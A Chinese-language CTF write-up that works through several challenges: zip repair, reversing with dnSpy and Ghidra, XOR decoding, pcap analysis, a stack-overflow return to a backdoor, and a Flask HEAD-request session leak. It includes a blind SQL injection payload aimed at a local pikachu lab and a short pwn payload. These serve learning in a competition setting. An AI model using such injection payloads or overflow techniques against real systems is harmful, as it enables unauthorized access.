zzip
使用binwalk分析图片, 发现存在zip尾部特征. 随便找一个正经的zip文件, 使用HxD补全zip的头:
unzip
命令解压得到flag:
good_day
发现存在文件包含, 使用php伪协议读取flag.php文件得到flag:
hide
是C#的应用, 使用dnSpy打开, 动态调试程序, 在btnStart_Click
的事件响应函数里发现为label赋值的函数, 逐个运行得到一堆字符:
all{7liuf}Pgo
怀疑flag可能跟label控件的位置有关, 使用HTML和css绝对定位模拟label标签的显示效果, 得到flag:
flag{Plo7}
x+1
13, 12, 7, 29, 67, 92, 80, 83, 80, 84, 87, 26, 1, 5, 8, 1, 6, 92, 0, 5, 84, 83, 91, 92, 87, 29, 81, 90, 13, 86, 6, 2, 81, 3, 91, 7, 24
数值看上去比较离散, 基本可以排除凯撒加密, 尝试异或运算:
编写脚本解出flag:
$x = 13, 12, 7, 29, 67, 92, 80, 83, 80, 84, 87, 26, 1, 5, 8, 1, 6, 92, 0, 5, 84, 83, 91, 92, 87, 29, 81, 90, 13, 86, 6, 2, 81, 3, 91, 7, 24;
$flag = @([int][char]'f');
$x | % {
$flag += ($_ -bxor $flag[-1]) + 1;
}
($flag | % { [char]$_ } ) -join "";
easysuanfa
使用Ghidra反编译, 利用字符串提示跳转到关键代码:
其中DAT_004021b4
和DAT_00402158
均为双字的数组, 算法核心部分为:
uVar5 = uVar7 & 0x80000003;
if ((int)uVar5 < 0) {
uVar5 = (uVar5 - 1 | 0xfffffffc) + 1;
}
uVar5 = (&DAT_004021b4)[uVar5];
uVar2 = (int)(char)(&stack0xffffffd8)[uVar7];
while (uVar5 != 0) {
uVar6 = uVar2 ^ uVar5;
uVar5 = (uVar2 & uVar5) * 2;
uVar2 = uVar6;
}
if (uVar2 != (&DAT_00402158)[uVar7]) {
pcVar8 = "Try again!:(`";
goto LAB_00401150;
}
uVar7 = uVar7 + 1;
使用ida pro反编译的话, 得到的代码更简洁明了:
在data段中为DAT_004021b4
和DAT_00402158
创建dword数组, 长度分别为4和23
将两个关键数组复制出来, 编写脚本爆破flag:
$flag_arr = 0x129A,0x56E4,0x87C6,0x4388,0x12AF,0x56BF,0x87CE,0x4397,0x1299,0x56D7,0x87D2,0x4386,0x1293,0x56E5,0x87D4,0x4393,0x1299,0x56D7,0x87C7,0x438A,0x12A8,0x56EB,0x87E2
function enc($chr, $index = 0) {
$key_arr = 0x1234,0x5678,0x8765,0x4321;
$key = $key_arr[$index % 4];
while ($key -ne 0) {
$t = $chr -bxor $key;
$key = ($chr -band $key) * 2;
$chr = $t;
}
return $chr;
}
1..23 | % {
$index = $_ - 1;
foreach ($chr in [int][char]"0" .. 126) { #'0'-'~'
$c = $chr;
if ((enc -chr $chr -index $index) -eq $flag_arr[$index]) {
$flag_arr[$index] = $c;
break;
}
}
}
($flag_arr | % { [char]$_ }) -join ""
AnalyseMe2
一道流量分析题, 根据exp.py, 编写脚本从流量包中提取有效的数据.
使用tshark工具将流量包解析成json格式以便使用脚本处理. 最终得到的content
为:
($content | % { [char]$_ }) -join ""
# afb0e1dedddfe0dde1b0addfafdeb1e1dcafaddde1b3e0dcdcb1acdddfdddeb1e1e7dce2f6dcdcdeb3deafacdcb3b1ddb3afe0b1b0dcdcdde0aeafb3abaedddeabb0afdfb0f8b1afb4b0b3ddabb2acb4e1abafb4acacdcb2b1b0b1deb0afe1b1aeb2b0dcddb2
看起来应该是Hex, 将该字符串转换为int型数组进行分析:
$hex = ($content | % { [char]$_ }) -join ""
$bytes = [int[]] -split ($hex -replace "(\w\w)",'0x$1 ')
# 175 176 225 222 221 223 224 221 225 176 173 223 175 222 177 225 220 175 173 221 225 179 224 220 220 177 172 221 223 221 222 177 225 231 220 226 246 220 220 222 179 222 175 172 220 179 177 221 179 175 224 177 176 220 220 221 224 174 175 179 171 174 221 222 171 176 175 223 176 248 177 175 180 176 179 221 171 178 172 180 225 171 175 180 172 172 220 178 177 176 177 222 176 175 225 177 174 178 176 220 221 178
根据exp.py中的提示: th1s_1s_y0ur_w4nt.caesar_code, 猜测可能和凯撒加密有关. 为了破解凯撒加密, 进行简单的统计: bytes
中最大值为248, 最小值为171, 两者的差值为77:
而根据ASCII, 字符"}"与字符"0"之间的差值也是77. 比较巧合?
尝试将bytes
中所有元素均向前偏移123位, 使bytes
中最小元素与ASCII字符"0"对齐, 得到flag:
最终用到的解密脚本如下:
$json = tshark -r .\data.pcapng -j "http" -Y "data-text-lines" -T "json" -e "http.file_data" -e "http.response_for.uri" | ConvertFrom-Json ;
$data = $json | % { @{url=$_._source.layers.'http.response_for.uri'; data=($_._source.layers."http.file_data" -like "*your uid:1*")} } ;
$i = 0;
$content = @();
foreach ($pos in 1..204) {
$min_num = 32;
$max_num = 126;
$mid_num = [System.Math]::Floor(($min_num + $max_num) / 2);
while ($min_num -lt $max_num){
$payload = "vince'!=!(ascii(mid((select try_decode from th1s_1s_y0ur_w4nt.caesar_code), $($pos), 1)) > $($mid_num))!=!'1";
$myurl = "http://127.0.0.1/pikachu-master/vul/sqli/sqli_blind_b.php?name=$($payload)&submit=%E6%9F%A5%E8%AF%A2";
if([System.Web.HttpUtility]::UrlDecode($data[$i].url) -ne [System.Web.HttpUtility]::UrlDecode($myurl)) {
Write-Error "ERROR: min_num=$($min_num), max_num=$($max_num), mid_num=$($mid_num), index=$($i)`npos=$($pos)";
}
#resp = requests.get(url=myurl)
if($data[$i].data) {
$min_num = $mid_num + 1
} else {
$max_num = $mid_num
}
$mid_num = [System.Math]::Floor(($min_num + $max_num) / 2);
$i ++;
}
$content += [int]$mid_num
}
$hex = ($content | % { [char]$_ }) -join ""
$bytes = [int[]] -split ($hex -replace "(\w\w)",'0x$1 ')
( $bytes | % { [char]([int]$_ - ([int]($bytes | Measure-Object -Minimum).Minimum - [int][char]'0')) }) -join ""
另外, 写了个破解凯撒加密的脚本, 测试了可以用
心情记录器
sof
静态分析一下, 有漏洞的函数长这样:
;undefined hack ()
PUSH RBP
MOV RBP ,RSP
SUB RSP ,0x30
MOV R13 ,RBP ;buffer
MOV RSI ,R13 ;Buffer
MOV RDI ,0x0 ;stdin
MOV RDX ,16 ;length
MOV RAX ,0x0 ;read
SYSCALL
LEAVE
RET
代码是从RBP
往下写, 最多写两个qword. 此外, 还有一个backdoor
函数:
;undefined backdoor () ;地址
PUSH RBP ;0040064a
MOV RBP ,RSP ;0040064b
LEA RDI ,[s_/bin/sh_004007b2 ] ;0040064e
CALL <EXTERNAL>::system ;00400655
NOP ;0040065a
POP RBP ;0040065b
RET ;0040065c
直接发下述paload即可:
payload = b"a" * 8 + p64(0x040064a);
但是, 如果环境是Ubuntu 18及以后的话(Debian和Kali也符合), system
函数需要对栈内存进行对齐. 具体怎么对齐我也说不清楚, 可参考这篇文章: 关于ubuntu18版本以上调用64位程序中的system函数的栈对齐问题 - ZikH26 - 博客园 (cnblogs.com)
根据这篇文章分享的经验, 上述payload则可以修改为:
payload = b"a" * 8 + p64(0x040064b);
web2
@app.route('/getkey', methods=["GET"])
def getkey():
if request.method != "GET":
session["key"]=SECRET_KEY
打开附件web2.txt, 就长上面这样. 根据代码逻辑推测, 需要某种请求方法, 使其既能命中路由@app.route('/getkey', methods=["GET"])
, 又不能是GET. 现场猜测应该是HEAD方法即可. 事后查询一下官方文档, 的确HEAD是自动开启的:
route(rule, **options)
Decorate a view function to register it with the given URL rule and options. Calls
add_url_rule()
, which has more details about the implementation.@app.route("/") def index(): return "Hello, World!"
The endpoint name for the route defaults to the name of the view function if the
endpoint
parameter isn’t passed.The
methods
parameter defaults to["GET"]
.HEAD
andOPTIONS
are added automatically.
用burpsuite构造HEAD请求测试一下:
(比赛现场的环境没有了, 截图都是我在本地环境模拟的, 不一定是完整的题解, 只是提供一个参考思路)
可以看到程序返回了session. 当时不知道是在现场没有找到合适的工具发送HEAD请求, 还是这种思路是错误的, 总之我印象中确实是没有获得预期的session
用工具解码一下该session即可得到SECRET_KEY. 至于本题后续有没有其它的内容, 我就不知道了.
python3 .\flask_session_cookie_manager3.py decode -c YOUR_SESSION_HERE